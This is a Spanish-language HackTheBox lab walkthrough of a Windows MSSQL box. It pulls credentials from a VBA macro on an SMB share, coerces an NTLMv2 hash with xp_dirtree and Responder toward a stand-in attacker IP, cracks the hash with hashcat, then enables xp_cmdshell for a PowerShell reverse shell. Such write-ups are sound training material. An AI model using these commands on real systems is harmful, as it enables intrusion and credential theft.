Info de la Box

PlataformaHackTheBox
DificultadMedium
OSWindows
Técnicas ClaveExplotación de MSSQL, VBA Macro Creds, Responder NTLMv2 Steal, xp_cmdshell

Resumen del Ataque

SMB guest access al share “Reports” → descargamos archivo Excel con macro VBA que contenía credenciales MSSQL (reporting:PcwTWTHRwryjc$c6) → nos conectamos a MSSQL con el flag -windows-auth → el usuario reporting no podía correr xp_cmdshell → usamos Responder + xp_dirtree para robar el hash NTLMv2 de la service account de MSSQL → crackeamos el hash → nos reconectamos como service account con rol sysadmin → habilitamos xp_cmdshell → reverse shell → privesc.


Enumeración

sudo nmap -Pn -p- --min-rate=1000 -T4 -oN fast_tcp.txt $ip
PuertoServicioNotas
445SMBGuest access al share Reports
1433MSSQLEl objetivo

SMB — Archivo Excel con Macro

Encontramos un archivo Excel en el share Reports. Lo abrimos y revisamos las macros VBA — encontramos credenciales MSSQL hardcodeadas.

Creds de la macro: reporting:PcwTWTHRwryjc$c6


Foothold — MSSQL → Responder → Shell

Primera Conexión

impacket-mssqlclient reporting:'PcwTWTHRwryjc$c6'@$ip -windows-auth
# Conectados! Pero el usuario reporting no puede habilitar xp_cmdshell — no es sysadmin

Importante: tuve que usar el flag -windows-auth. SQL auth vs Windows auth importa. Sin este flag la conexión falla.

También: la password tiene $. Usar comillas simples en bash o el shell va a intentar expandirlo como variable.

Hash Steal — xp_dirtree + Responder

Como reporting no puede correr xp_cmdshell, usé xp_dirtree para hacer que el SQL server se conecte de vuelta a mi Responder y robar el hash NTLMv2 de la service account.

# En Kali — iniciar Responder
sudo responder -I tun0

# En MSSQL — triggear conexión de vuelta
xp_dirtree '\\KALI_IP\share'
# Responder captura el hash NTLMv2 de la service account de MSSQL

Crackear el Hash

hashcat -m 5600 ntlmv2_hash.txt /usr/share/wordlists/rockyou.txt
# Crackeamos la password de la service account

Reconectar como Sysadmin → Shell

# Reconectar con la service account (privilegios sysadmin)
impacket-mssqlclient svc_account:'password'@$ip -windows-auth

# Habilitar xp_cmdshell
enable_xp_cmdshell

# Reverse shell
xp_cmdshell 'powershell -e <BASE64_PAYLOAD>'

Lo Que Aprendí

Siempre probar -windows-auth con impacket-mssqlclient. SQL auth y Windows auth son diferentes. Si una falla probá la otra.

Passwords con $ necesitan comillas simples en bash. 'PcwTWTHRwryjc$c6' funciona, "PcwTWTHRwryjc$c6" no porque bash interpreta $c6 como una variable.

Macros VBA en archivos de Office son una fuente común de credenciales en boxes CTF y en la vida real. Siempre revisar shares SMB buscando archivos de Excel/Word e inspeccionar macros.

xp_dirtree + Responder = robar hash NTLMv2 cuando xp_cmdshell está denegado. El SQL server hace una conexión SMB a tu máquina, y Responder captura el hash de autenticación. Hashcat mode 5600 para NTLMv2.

Patrón: “Acceso MSSQL pero sin xp_cmdshell? Usar xp_dirtree + Responder para robar el hash de la service account. Crackearlo, reconectar con derechos sysadmin.”